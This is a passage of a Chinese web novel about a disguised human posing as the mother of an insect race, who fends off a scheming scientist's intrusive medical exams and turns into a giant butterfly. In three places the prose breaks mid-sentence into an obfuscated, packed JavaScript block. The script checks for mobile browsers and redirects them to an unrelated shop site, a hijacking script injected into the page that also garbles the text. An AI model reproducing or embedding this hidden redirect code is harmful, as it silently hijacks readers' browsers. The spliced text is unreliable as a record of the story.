见他迟迟不肯睡,奥罗斯无奈地搬了把椅子坐到他身旁:“很久以前的虫族和其他国度没有区别,但虫母消亡之后,一切都变了。” “虫母的消逝,让大多数雄虫产生自我厌弃、悲观抑郁的思想,他们大多郁郁而终,社会的生产也随之停滞。” “直到新一代机器繁育的虫族诞生,他们中的部分认为虫族不能就此灭亡。他们应该为母亲开疆拓土,掠夺更多的资源与国土,母亲才会愿意降临。” “从此,虫族整个社会向军工化发展,其他的附属产业随之没落,所以现在的虫族以军部与研究院为首,莱斯特和布朗分别是其领导人。” “除此之外,哈珀所在的委员会中立于他们之间,协调虫族的整体发展,以后您也会进入委员会。” 提到进入委员会,本来闭上眼睛快睡着的塞西安来精神了:“什么时候?” 事已至此,先升官吧。 “等您伤好以后。”奥罗斯温柔地注视他,“还有,虫母的资产是继承制,雄虫也会定时向母亲供奉财产……” 猝不及防,他发财了? 他更加清醒了,忍不住摸到床头柜上的智脑,默默打开自己的银行账户,个人财产与国有资产分门别类,后面有数不清的零…… 塞西安:“啊,哇??” 一向冷淡的表情罕见地有些呆愣,奥罗斯满意地点点头,这才像个幼虫嘛。 之前那么冷淡疏离,成熟稳重,一看就是强撑的伪装。 奥罗斯:“虫侍的个人财产也会全都归您所有,所以……” 塞西安愣愣地说:“要找有钱的虫当虫侍。” “……”奥罗斯无奈地揉揉他的脑袋,“所以您可以尽可能多的收虫侍。” 塞西安:“……”差点忘了,虫族不是一夫一妻制。 直到睡了一觉起来后,塞西安迷迷糊糊中还在思考关于虫族社会的问题。 兰修斯十分细心地将他动过筷子的菜品送到手边,看都没看一眼的放远,晚饭的桌子就显得简洁许多。 只是一位不速之客的到来打破了这份安宁。 布朗带着新的药剂上来补货:“真香啊,母亲,您会允许我加入您的晚餐吗?” 塞西安想说做食物可以,坐他身边不行。 但显然他没有那个底气这么任性,冷冷道:“嗯。” “真冷淡啊,好歹我昨晚为您忙前忙后彻夜未眠,直到现在才清醒过来呢。”布朗受伤地摇摇头,毫不犹豫坐在塞西安对面,修长的小腿故意蹭着塞西安。 “咳!”他忽然咬着牙收回腿。 虫母刚刚十分不客气地一脚踹过来,没想到小小一只,腿劲儿挺大。 奥罗斯皱着眉头:“布朗,不要对母亲动手动脚。” 布朗摊摊手:“我只是不小心碰到了而已。” 谁信啊?尤里尔冷哼一声。 塞西安看着他带来的那些药剂:“你昨晚去研究这个了?” 果然,这几个雄虫没有一个人对虫母说过他的到来,也没有任何人提到他的贡献! 该死的东西! 布朗笑得眼睛眯起来:“对啊,今天早上新鲜出炉的最新药剂,我早上送上来的时候,您还在梦乡之中。” 哦。已阅。退下。 塞西安扯了扯唇角:“那真是辛苦你了,多吃点饭补补身体吧。” 对方顺从地接受了这份好意:“多谢母亲,您是如此贴心。” 一顿饭吃下来,除他之外的所有人分外沉默,偏他还厚脸皮地赖在原地不走。 “看到您身体恢复地如此之快,我真为您高兴。”布朗拆开塞西安肩膀处的绷带,仔细处理着伤口。 塞西安偏头露出细软的脖颈,锁骨突出,凹陷处美妙的弧度。 忽然胸前一凉,他感受到布朗正如毒蛇般紧盯着他,金色瞳孔中泄出浓烈的危险感。 布朗竟然在不知不觉中绕到背后,将他包围起来! 他下意识就要退避,离开他的包围圈,一双冰凉的手无奈地扶住他的身体,沿着曲线滑动,黏腻阴暗的触感爬上脊柱。 “您这么紧张做什么?我又不会吃了您。” “这虫族咬出的伤口实在奇怪,怎么会有虫会主动伤害您呢?” 布朗凑近塞西安的耳朵,整个胸膛贴近他的后背,“您说,奇不奇怪?” 难道布朗起了疑心?! 塞西安强装镇定,冷漠的面孔半分情绪都没有泄露出来,扭头直视布朗的眼睛。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16554128|186855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “可能就和你现在一样,强硬地按着我不能动弹吧。” 布朗挑唇轻笑:“呵。” 下一秒他敏锐地闪开身子,奥罗斯的攻击落了空,正想狠狠揪住布朗的衣领,却想到虫母中午说的话。 妈妈喜欢乖孩子。 不能打架。 他警告地盯着布朗,一切都在不言之中,这是雄虫之间的潜台词。 塞西安套上衣服,刚刚为了上药,他半个身子都裸露在外,精致的薄肌曲线外露,皮肤简直像覆着划痕的白瓷雕塑,即使有瑕疵,也让人挪不开眼。 “奥罗斯,送客。” 布朗识相地退下了:“我本不想和您闹的不愉快,是我的错,母亲。希望有朝一日,我们也能心平气和、恩爱非凡地相处。” “明天早上有复查,祝您好梦。” 塞西安冷着脸,周身冷峻的气质让其他几虫望而却步,鼓足勇气才敢上前。 奥罗斯:“母亲,我应该时刻守在您身边的,对……” “不必道歉。”塞西安敛下眸子,整个人陷入柔软宽大的沙发,竟然显得如此脆弱,让虫更加自责。 刚刚洗完碗的尤里尔小心地跪在他身前的地毯上,头靠着塞西安手边的扶手:“可恶的布朗,他居然敢欺负妈妈,这个胆大包天的东西,我要去杀了他!” 杀了他,然后呢?让本就不稳固的地位再一次受到冲击。 虫母暗杀虫族领导人的消息第二天传遍国土每一个角落,然后布朗活着出来反抗虫母。 他相信布朗有这个能耐。 他从不是一个服从自己、安分守己的虫子。 既然他主动提出疑点,那一定是找到了更多不合理的地方。 难道那些检查还是暴露了身份? 他忽然无力地瘫软在沙发上,抱着双腿蜷缩成一团,整只虫弱小无助:“好像不是所有虫都欢迎我……” “要不你们把我送回去吧,我在归墟007过得也很好……” 这话一出,周边的三只虫顿时炸了锅!简直就像被火烤的蚂蚱,连兰修斯都失态地扑到他身前。 “妈妈!我们都非常欢迎你!是布朗这个家伙不识好歹!” 奥罗斯正了正脸色:“母亲,您绝对是我们的重中之重,请不要怀疑自己的重要性。” 幼虫感受到被排斥和不安,可是会产生极其严重的心理问题的!这样的雄虫大多最后造成了非常严重的社会后果,甚至对自身造成严重伤害! 母亲怎么能这么想呢?! “像布朗这种搞研究到把脑子搞坏的虫,他一向被称为疯子。您不必理会,甚至可以直接下令杀死他。” 尤里尔的瞳孔变得无比漆黑,中间荡漾出漩涡状的绿纹:“对,杀了他!我为您杀了他!” 说着他就要飞出窗外,却被塞西安制止。 “尤里尔,我的好孩子,来妈妈这里。” 尤里尔简直不敢相信自己听见了什么,他猛烈平复着喘息,降落在母亲怀里。 他的眼睛仍然没有恢复,后背的蝶翅也已经伸展出来,蓄势待发。 兰修斯也是同样的状态,空洞诡异的瞳孔直直凝视着塞西安,只要他一声令下就要出动。 塞西安试探地向他们伸出手,瞬间就被他们握紧,他牢牢坐在两个人之间,被簇拥着、尊奉着。 “其实……在飞船上,他就威胁过我。” 奥罗斯:“!!!” 兰修斯:”“!” 尤里尔:“?!” 17. 母神 奥罗斯怒不可遏,气愤地起身:“我早就说,布朗这种疯子就不该坐上院长的职位!” “奥罗斯……” 塞西安从腿间抬起头来,长发披散全身,甚至扫过脚尖,将他整个人裹得严严实实,宛如一个巨大的白茧,只从缝隙中能窥见脆弱无辜的面容。 眉目间的空洞与苍白让人触目惊心。 奥罗斯的心瞬间钝痛起来,他们怎么敢,怎么敢欺负这样的母亲! 他顿住脚步,快步上前一屁股挤开碍事的尤里尔,将塞西安抱进怀里,顺着他的脊背抚慰:“母亲,您受委屈了。” 塞西安僵硬着身体,脊背随着他的抚摸升起一股股电流感,攻击着薄弱的身躯。 面前敞开的领口处,大块的蜜色胸肌差点砸到他高挺的鼻梁,与发丝的颜色形成鲜明的对比。 他忍不住偏过头去。 这算什么?真把他当小宝宝哄了? 毛骨悚然的同时,为什么,又有点安心? 就好像整个人都被容纳在温暖的漩涡里,拉着他下坠,沉眠。 异样的感觉在他内心迸发,美好的同时又带来危机感。舒适与安宁只会带来死亡,只有痛苦与紧张才让他安心。 塞西安起身离开,却被抓住手腕揽回去。 奥罗斯温柔地注视着他逃避的目光,热量源源不断从落在肩头的掌心传输过来。 “您很喜欢这样,对吗?我能感受得到。您很舒服,但又恐惧,这是正常的心理,您只是需要习惯这份爱。” “您需要更多爱抚与照顾,而我们会毫无保留地献给您。至于那些背叛与疯狂,我们会亲手为您铲除。” 他保持着亲密又不侵犯的距离,温暖却不令人厌恶。 兰修斯与尤里尔顺势围上他另半侧身体,被三个人包围其中,火辣的热量扑面而来,脸颊两侧都滚烫起来。 塞西安坐不住了,他推开面前的兰修斯,逃窜到沙发另一个角落。 冰凉的温度让他打了一个哆嗦,忍不住蜷缩起来。 好奇怪,为什么心脏会跳得这么剧烈,为什么身体这么燥热。 为什么,他甚至有些怀念刚刚的温暖? 不,冰冷与孤独才是常态,这一切都是短暂的假象,他不能沉溺。 这些虫子一定对他做了什么,一定是虫母的体质影响了他的思想。 他不该产生除了利益牵扯之外的感情,他依旧是孤身一人,找到时机就会抛弃一切,远走高飞。 他会真正自由。 两只年轻的蝴蝶还想扑上来抱住明显心情不佳的妈妈。 奥罗斯摇摇头,拦住他们:“母亲需要独处的空间,刚刚过分的挤压与靠近已经让他不舒服了。” 尤里尔的眼睛黯淡下去,翅膀扇动的频率都降低了。 兰修斯盘腿坐在塞西安面前的地上,坚定地说:“我会一直守在这里。等您抬头,就能看见我。” 奥罗斯在一旁耐心等候,将布朗刚刚送上来的药剂放回药柜。 这一次,他仔细检查了这些药剂的配方与功效,确定没有危害后才放下心。 布朗显然没有那个胆量在药上动手脚,否则他会被亿万只虫子碾成碎片,但这并不代表他会就此放过布朗。 他已经将布朗今夜的行径通报给委员会:“母亲,布朗此虫一向被称为科学疯子。他最开始在战斗系,因为拿同学做研究而被军部除名,进入科研系就读。” “进入科研系后,他更加失去了底线,所进行的研究大都踩在红线边缘,抓不出错处但又嚣张恶毒。” 塞西安竖起耳朵,听着关于布朗的情报。 所谓知己知彼百战百胜,他揭穿布朗,不止是想打预防针,更想借此打探布朗的消息。 “那他为什么会成为研究院的院长?” “虫族以实力说话。”奥罗斯耸了耸肩,无奈地说,“虽然他虫德低下,但无可否认他的研究为虫族的发展做出重大贡献。” 虫母依旧保持着环抱双腿的姿势,微微偏头露出双眼,发丝随着他的动作轻轻滑动,让另外两虫看得忍不住屏住呼吸。 妈妈实在,太可爱了! 趁着塞西安不注意,尤里尔把自己往前挪啊挪,直到塞西安感受到自己的脚面有一股热气吹来。 “!” 塞西安感受到旁人的接近,下意识就要攻击过去,却撞见一张帅脸,好不容易才忍住踹出一脚的冲动。 只隔一厘米,他的脚就要落到尤里尔脸上了。 他警告道:“尤里尔!” 尤里尔自责地揪着头发,就像揪住自己耳朵的小狗一样,藏起眼底的遗憾:“对不起……” 奥罗斯瞥他一眼,递过来一杯水,循循善诱:“布朗当时如何威胁您?” 塞西安又装起来了:“他们说那些原始虫族是人退化的,我想去看看它们。可是带我去的那个士兵被……布朗不想让我自由走动。” “奥罗斯,我现在是不是也被关在这里了?” 说一半,编一半,留下无尽的遐想空间,再把锅抛给无辜的人,奥罗斯被污蔑的怒火自然会转移到布朗身上。 塞西安摩挲着指下细腻的肌肤,心中甚至期待起来,布朗,你该如何应对呢? 奥罗斯压低声音,显然压抑着汹涌的情绪:“当然不是,如果您愿意,明天检查完之后,我带您四处逛逛。没有虫能限制您的自由,虫族的领土都是您的天地。” 尤里尔补充道:“您要是想看那些原始虫族,他们已经转变回人形了,现在正被关押在地下一层。我陪您去!” 塞西安:“?!” 等等! 什么叫已经变回人形了?! 是他还没来得及灭口的那批吗? 那他们……岂不是会供出自己的人类身份?! 塞西安的手心立刻攥紧,捏着宽松的衣服,指尖泛白也不曾松开。 尤里尔疑惑地问:“您怎么了?” 手指陡然放松,塞西安回到了那副淡定平和的模样:“那真是太好了,我也想见见他们。” 奥罗斯奇怪地问:“什么时候的事?” 兰修斯:“昨晚。” 尤里尔翻了个白眼,挪揄道:“就在你把我们赶走,自己睡在妈妈身边的时候。” 奥罗斯:“……” 塞西安:“……” 怎么有一种被抓奸的感觉,是错觉吗? 奥罗斯尴尬地咳了咳:“那明天检查结束,我们去地下一层。” 塞西安心不在焉地嗯了一声,忽然想到什么:“明天上午的检查,也有布朗参与吗?” 奥罗斯:“我们会时刻守在您身边,绝不会给他钻空子的机会。” 目的达成,塞西安停止问话,其他人以为他心情不佳,也不便打扰。 临睡前,塞西安路过守在门口满脸期待的两人:“……” 他冷淡地侧过身子:“晚安。” 这两人早就归顺自己,进一步的接触没有意义 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16554129|186855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 塞西安毫不留情地抽身离开,他不想与虫族产生情感链接。 尤里尔扯住他的衣角,小声道:“昨天晚上是奥罗斯,今天晚上该我们了吧。” 一边说,他一边窃喜,幻想着躺在妈妈身边睡觉的快乐与幸福。他一定会是整个世界上最幸福的虫! 兰修斯依旧不言不语等候在旁,只是紧抿的唇透露出他的紧张,眼中也是藏不住的渴望。 塞西安犯了难,假装苦恼:“可是被你们夹在中间会很挤啊,我也只能带一个进去吧?” 尤里尔与兰修斯对视一眼,全都是不服输地倔强。即使是异卵同胞的兄弟,两人也毫不退让。 “我们出去打!” “嗯。” 塞西安抱臂站在一旁,静静地看着他们为了自己抛出的诱饵大打出手。 这才是他印象里的虫族,不讲道理、毫无底线,为了一点利益就能大打出手。 他一次又一次告诉自己,绝不能被虫族的基因同化。他不会与这种种族为伍,哪怕身体全部异化,他也会守住唯一的理智。 他向来擅长坚守自己的阵地,只要与所有人划清界限就好,远远地孤立于所有人之外。 塞西安转身进了房间,简单洗漱后躺回床面。短暂放松的思绪又一次紧绷起来,他恍然发现仅仅过了一天,他就被这种舒适的表象迷惑。 布朗的威胁,身份的破绽,都是暗藏其下的危机。 如果那群疯狂的虫子发现美好的假象下全是冰冷刺骨的谎言,他们会如何对自己呢? 他会死的连骨头都不剩,还是被占用虫母的身体,成为生育机器? 塞西安扯了扯唇角,荒唐一笑。 老天爷,直到我逃出帝国,你也没有放过我。 就算他异化成普通雄虫,都不会如此进退两难,被禁锢于高塔之上,随时面临坠落的危机。 昏睡之中,虫母的身体又一次成长,塞西安紧紧皱着眉头,忍受着巨大的痛楚,身体自动选择让他沉睡,避免更大的刺激。 床榻之上,一只通体洁白、紫色羽翼的蝴蝶缓缓振动着翅膀,几人大的身躯在巨大的床面上显得刚刚好。 巨大的腹部顶端圆润粗长,随着呼吸的起伏一翘一翘。六根长着绒毛的长足蜷曲在身下,宛如婴儿般收缩。头顶的棒状触角难耐地敲着床板,发出“咚咚咚”的响声。 它是如此美丽,不同于当今存在的一切同类。它又是如此脆弱,翅膀颤颤巍巍地起伏,仿佛一折就能碎裂。 微弱的精神链接如蛛丝般漂浮,将母神与信众们联系起来,众生再次受到它的洗礼,皆遥遥仰望这个方向。 这注定是个不眠之夜。 门缝轻轻打开一条缝,尚未入睡的三人偷偷溜进来,无不惊叹于它的出现。 奥罗斯捡起地上的被子,对着虫母张开的翅膀犯了难,忍不住看向眷属,用眼神询问:“你们晚上怎么盖被子?” 尤里尔摇摇头,表示:“我们晚上不用虫体睡觉。” 兰修斯从柜子里抱出一大摞被子,沿着塞西安的身体围了一圈,确保他的“腿”都被盖上。 他小声解释:“翅膀不会冷。” 奥罗斯伸手把他们往外推,他今晚会守在床边。 尤里尔与兰修斯不乐意了,坚定地站在原地:“你又不是蝴蝶,你懂什么?” 育虫科主任·曾经带大眷属二人幼虫阶段的奥罗斯:“……” 妈妈,这里有两只忘恩负义的东西。 18. 失忆?! 清晨,塞西安悠悠转醒,眼前360度无死角的视野让他大脑一片空白,差点忘了自己是谁,身在哪里。 他试探性地撑起身,骤然摇晃的视角让他晕眩着摔下,倒在一旁柔软的棉被里。 “?!!” 两根纤细修长的足匍匐在身前,头顶上方落下两根诡异的棒状触角,有股似曾相识之感。 他呆愣愣地回头,两对花纹繁复、艳丽非凡的深紫蝶翅缓缓起伏,流淌出潋滟的紫光。深色纵纹遍布其上,波浪状的修长尾带上遍布着斑点,如同眼睛一样。 他竟然全身都变成了蝴蝶! 塞西安内心骇然,顾不得自己刚刚生出的六只足,歪歪扭扭地就要爬走,蝶翅乱七八糟地扇动,左边飞起右边落下,好一阵手忙脚乱,忙活半天也没爬出几米。 巨大的动静惊醒了地上和衣而眠、四处散落的三只虫,他们连忙起来扶住塞西安乱动的身躯,防止他掉下床面。 我怎么变成蝴蝶了?!塞西安慌乱地喊道,却没有任何声音传出。 蝴蝶没有声带,他们无法与同类说话。 但精神链接很好地弥补了这个缺陷,奥罗斯握着他的前足,没敢动他漂亮的翅膀,担心让薄如蝉翼的蝶翅受损。 “虫族人形长大的同时虫体也在成长,所以幼虫在成熟阶段会不定时蜕变回虫体。这是正常现象,您无需害怕。” 尤里尔满眼放光:“您的翅膀真好看!我从来没有见过紫罗兰色的蝴蝶,还会倒映出漂亮的闪光,简直就像……像波光粼粼的河水一样!” 他十分变态地抱着母亲的腹部,那尖端异常敏感,被他衣服的布料磨得忍不住翘动,挣扎着想要逃离。 而始作俑者显然爱极了这个温热的不断拱着他心窝的地方,甚至想把脸贴上去。 兰修斯推开他,解救了塞西安可怜兮兮的肚子:“不要碰母亲的敏感部位!” 敏感部位?!虫族腹部的尾端,似乎是…… 塞西安要还是人形,现在肯定气得脸一阵红一阵白了,但他现在依然强撑着不协调的身体,抬脚去踹某个不听话的孩子。 变态虫! 尤里尔连声求饶,保证自己再也不敢了。 塞西安晕晕乎乎地看向奥罗斯:我……变不回去了。 “啊?”奥罗斯收起惊叹的眼神,罕见地愣了愣。 他从未遇见过不会转换虫体与人体的虫族,这是每个虫族天生就会的事情,如同呼吸一样。 一时间,这位幼虫养育大师陷入了思考:“……” 兰修斯脱下上衣,露出紧实的胸膛,张开黑底碧纹蝶翅。 在虫母面前,它顿时显得过于简陋黯淡,但足够硕大,能将虫母盖住。 他跪坐着背对塞西安,主动展露翅膀绽放的全过程,两根纤细的骨骼从背部的裂缝处伸出,连带着整只闭合的蝶翅,完全展露后张开。收起时原路收回背部,上面那道肉色的薄膜顿时消失。 塞西安忍不住用触角在兰修斯背上拍来拍去:好神奇,就收回去了? 兰修斯攥紧拳头,捏紧自己的裤腿,身体瞬间紧绷,强装镇定:“您可以试试。” 奥罗斯从角落里找到了他的眼镜,又变回了那副靠谱精英的模样:“正常情况下,虫族能随心所欲地转换虫体与人体,甚至能仅仅转化一根手臂,或者放出翅膀辅助飞行。” 随心? 塞西安尝试着,将注意力集中在陌生的身体上,一抹光洁柔软的人类身躯顿时展露出来。他身上的伤疤再一次减淡,连带着内里受损的器官也恢复了大半。 虫族的身体,竟然有如此强大的自愈能力,再搭配上他们坚不可摧的战斗力量,无愧是宇宙中最值得警惕的敌人。 奥罗斯眼疾手快扯过旁边的被子盖在塞西安身上,瞪向睁大双眼企图偷窥的尤里尔。 诡计被识破,尤里尔气愤地咬咬牙,向兰修斯吐槽奥罗斯的不近人情:“这家伙,真的是虫子吗?对妈妈难道就没有一点欲望?!” 他没有注意到兰修斯已经通红的耳垂,与他渗出汗水的后背。 妈妈,好美。 刚刚碰他后背的时候,让他差点把控不住。 “叩叩叩——” 敲门声响起,奥罗斯退下床面:“应该是布朗,他上来复查您的身体情况,您可以先洗漱一下。” 又是那个诡计多端的神经病虫。 塞西安眼神一转,看向明显心不在焉的蝴蝶二人:“你们,会帮我堵好门的,对吗?” 天生好战的尤里尔顿时警觉起来,嗯?妈妈好像在暗示着什么? 得到塞西安肯定的眼神,他跟打了鸡血一样一跃而起,拽着兰修斯就要冲出去:“妈妈,他不会顺利走进来的!” 兰修斯:“……” 他还没来得及说话,就被尤里尔拉走了。 奥罗斯无奈扶额:“您真是……”调皮的坏孩子啊。 但是谁让布朗得罪了虫母呢?这都是他该受的惩罚。 一向严格管教幼虫的奥罗斯显然对虫母有另一套标准,他笑着关上房门:“您可以梳洗地慢一些,不必担心布朗会闯进来。” 等到塞西安慢吞吞出来的时候,布朗好整以暇地坐在沙发上,好像刚刚一挑三的冤种不是他一样:“母亲,早安。” 奥罗斯面不改色:“母亲最近身体受伤,需要多休息一段时间。布朗,你没有意见吧?” 塞西安依旧面瘫的表情难得露出惊讶,意外地瞥了他一眼。没想到奥罗斯还有这么可爱的一面,他优雅落座,唇角上扬一个像素点。 “当然不会,能亲自为母亲做检查,等待多久都是我的荣幸。”布朗缓缓走到塞西安身边,“我这次可以脱下您的衣服吗?” 这次?还有哪次?! 在场的其他虫族顿时听出他的潜台词,该死的布朗,竟然还敢挑衅他们! 塞西安顿了顿,想到之前在归墟濒死的时候,好像是被布朗强行扯下过衣服。 那个时候他已经意识不清,事后也没有过多回忆,现在想来……他岂不是早就在布朗面前光溜溜走过一遭了! 但塞西安显然是个厚脸皮的人,他镇定自若地咽下一口水,润了润嗓子,才继续开口:“这一次我同意了。” 布朗瞬间接受到三道恨不得把他抽皮挖骨的眼神,暗叹一声虫母真是个睚眦必报的虫,给他挖一个坑,就必须回给自己一个。 但他向来也是如此,昔日的敌人都被他尽数铲除,甚至成为实验的珍惜样本。 他很少遇到旗鼓相当的对手,也从未迫于某些压力必须向某人低头。可这种憋屈与强迫却让他更加兴奋,从未产生过波动的心鲜活起来。 他期待着向虫母俯首称臣,更期待着狠狠将他压在身下的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16554130|186855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快感……即使被虫母杀死,那也是一场享受。 在塞西安坦然自若的表情下,布朗轻轻解开他领口的纽扣,一颗一颗向下,冰凉的手指玩弄似的在细腻的肌肤上滑动。 但塞西安并未给予他期待的反应,依旧冷淡如冰。 他只觉得这虫磨磨蹭蹭的,手还不老实,让人烦躁得很。 而且脱个衣服而已,又不会掉块肉,他没自恋到觉得自己多么高贵,连看都不能看一眼。 大男人之间,有什么不能看的。(帝国那群禽兽除外) 尤里尔不淡定了,嫉妒地说:“动作利索点儿,你揣着什么坏水我们一清二楚,少借着职务之便性骚扰!” 布朗刚刚把那件衬衫脱下,整齐地叠在手中,闻言无辜地说:“我这是正规操作,万一太粗鲁母亲又觉得我针对他怎么办?” 塞西安冷哼一声,算他有点自知之明。 即使脱下外衣,他依旧挺直脊背稳稳坐在原地,好像无论发生什么事都无法让他乱了阵脚。白色的长卷发被一根皮筋高高束起,整个人美得雌雄莫辨。 薄薄一层肌肉并未打破这份柔美,而是警戒着意图窥伺之人,潜藏的危险。 对比之前那些使用高精尖仪器的检查,这次要简单地多,布朗只需要使用简单的扫描仪就能看出具体的情况。 但他坏着心思,故意带上最古老的听诊器。这还是他翻箱倒柜,从某个不知名的角落翻出来的。 塞西安抓住冰凉的探头,抬眼质问:“我的心脏好像没有出问题吧?” 布朗早已借着刚才的检查,紧挨着他坐下:“您的身体遭受过猛烈冲击,我认为不像是被人类攻击的,而是从高空坠落导致,当然要检查一下心脏。” 当时塞西安伪造的现场就是幼年虫母受到人类攻击后逃亡,最终被虫族士兵带回。 他身上的伤确实瞒不过布朗:“很遗憾,我失去了之前的记忆,并不知道自己受伤之前发生了什么。” 塞西安挑起唇角:“布朗医生,您应该能帮我找到记忆吧?” 奥罗斯连忙走过来,焦急地询问:“您失忆了,怎么不早点告诉我呢?我不是质问您,我是说,您可以早点告诉我的……” 他有些自责,自己照顾母亲好几天,竟然没有发现,也没有过问他之前是如何受伤的。他只想着该早点让母亲好起来,追查凶手就交给军部去管了。 是他不够关心塞西安了。 塞西安温柔地看向他,忍俊不禁:“我没有很在乎之前的记忆,毕竟,我是失忆之后才见到你们的。” 他顿了顿,故意给足几虫反应的时间:“我更在乎以后和你们相处的时光。”还有逃离帝国、重获自由的美好人生。 虫母轻轻勾引,几虫顿时脸红心跳,半晌说不出话来。 尤里尔在内心大叫,他一定要在个人账号上狠狠炫耀妈妈这句话!!妈妈怎么这么好! 连奥罗斯都不好意思地低下了头。 布朗在一旁笑吟吟看着,暗地里差点咬碎了一口牙,虫母总是有能力让他各种心烦意乱,真让虫烦躁! 对着自己唇枪舌剑,一副高高在上、不食人间烟火的高岭之花模样,对着别人不知道有多温柔,怎么其他虫都没有看穿他的虚伪模样! 他有些后悔让奥罗斯他们和虫母单独住在顶楼了,这里一定发生了一些他不知道的事情。 19. 偏心 “我想看看您虫体的情况。” 闻言,塞西安顿了顿,有些迟疑地看过去。 布朗坦荡地任他窥探:“我们可是虫族,您不会以为我们全都用人体看病治疗吧?幼虫大多更喜欢以虫体的形态活动,但您似乎与众不同,几乎就没有露出过虫体。” “难道,您的身体有什么问题?您不必羞耻,作为一名专业的医生,我会全力帮助您。” 奥罗斯皱起眉头,这只虫嘴里就没有一句好听的话,怪不得塞西安不喜欢他:“布朗,你不必旁敲侧击。母亲的虫体我刚刚看了,非常健康,既完美又漂亮,是虫族最优雅最高贵的虫体。” 哦,给别人看,不给他看。 早知道昨天晚上就应该摸上来凑热闹。 “我当然知道母亲昨晚展露过虫体。”布朗摊摊手,冲着塞西安无奈一笑,“您昨晚进入成熟期,精神波动传遍了整个主星,许多虫彻夜未眠哦。 确实包括他。 他注视着塞西安,但塞西安却看向了另外三人。他竟然从他苍白空洞的眼神中看出了关切。 怪不得昨晚他们在自己房间里面打地铺,想来是守了一整夜。 奥罗斯早就预料到他的眼神,笑着摇摇头,示意这是他们应该做的。 布朗忍不住打破他们之间和谐的气氛:“虫母身后往往会配备一支精良的医疗队伍,能够采取的治疗手段都需要仔细斟酌。奥罗斯,你觉得你一只虫的论断,就可以断定母亲的身体吗?” 面对奥罗斯,他收起和善的伪装,丝毫不在乎尖锐凶狠的本质泄露。 奥罗斯自认理亏,正要开口,一道清冷的声音响起:“那进卧室吧。” 在宽敞透明的落地窗前坦露身体,总是有些不雅的。 进门时,布朗小声在他耳边低语:“您还真是偏心呢。” 什么鬼? 塞西安奇怪地看过去,他又恢复了那副欠揍的笑容。 衣服一件件褪去,大片肌肤裸露出来,塞西安的手指轻轻挑起纯白的内裤,恍惚中能窥见里面白嫩的颜色。 他停住手,静静盯着快把脑袋埋进自己腿间的布朗。 …… 十秒后,布朗举起双手,十分遗憾地转过身去,面壁思过。 他对虫族的身体没有窥探的欲望,但偏偏虫母让他欲罢不能。 又不是没看过,小气什么。 等他再次转身,眼中顿时划过一丝惊艳,控制不住地微微张开嘴。 一只身躯和他一样大的蝴蝶展现在面前,巨大的蝶翅比人还要高不少。艳丽华贵的颜色,高雅繁复的花纹,每一点都让他一见倾心。 他忍不住触碰那洁白的身躯,节状的腹部到底是坚硬如铁还是柔软如蚕呢?劲风袭来,他下意识收回手臂,眼前的白影一扫而过。 塞西安掌握着还不算熟练的腿足,默默给了某个不知分寸的家伙一脚。 布朗不怒反笑,低头闷笑几声,沙哑磁性的声音听得虫头皮发麻:“我真的,要爱上您了。” 这是生命的奇迹,远比其他任何生物都要高贵的存在。只有这样的生物,才值得他倾尽一生去研究。 他多么渴望一点点拆开他所有肢体,一点点将他分解,找到他最隐蔽的秘密。 塞西安晃了晃脑袋,这360度无死角的视野着实有些晕,不知道虫族是怎么适应的。好像虫族的复眼视野都很大,可能从小就习惯了吧。 他催促般敲着脚下的地面,让布朗不要磨磨蹭蹭。 “好的,好的,我这就来,您不是刚刚还不让我碰嘛。”布朗笑着走近,在塞西安拼命忍耐攻击的状态下将他全身摸了个遍。 这个家伙,真是怎么都吃不了亏。虫体比他想象中还要敏感,被触碰时酥麻的感受挥之不去,不知道是应该如此还是布朗故意的。 布朗显然愉悦极了。 没有了那几个碍眼的虫子,他和虫母的关系很明显亲近了许多,检查结束之后也舍不得结束。 塞西安冷漠地踢开他,变成人体穿上衣服:“你的检查有结果了吗?” “您的虫体器官发育正常,并无缺损。只是有一点让我奇怪……”他延长尾音。 “什么?” “您不像刚刚出生的幼虫,没有幼虫有如此巨大的身躯。当时我和莱斯特一起接您回来,都以为您会是只有手臂长的婴儿呢。” 不等塞西安回答,他紧接着自言自语:“是是是,我知道,您失忆了。”他配合地指了指自己的脑袋。 “您不记得袭击之前究竟发生了什么,也不记得自己究竟在归墟生活了多久。强行逼问一个失忆的人,确实有些无理取闹。” 塞西安站在窗前,窗帘微微透出一条缝,挡住他大半个身躯。只有侧脸被日光照亮,映出俊美的轮廓。重新扣上的皮带勾勒出纤细的腰身,后腰处是大片明亮的空荡。 塞西安垂眸整理着衣袖,修长的睫毛在眼睑下侧投出阴影。他将每一个袖口都翻地整整齐齐,面不改色:“所以呢?” 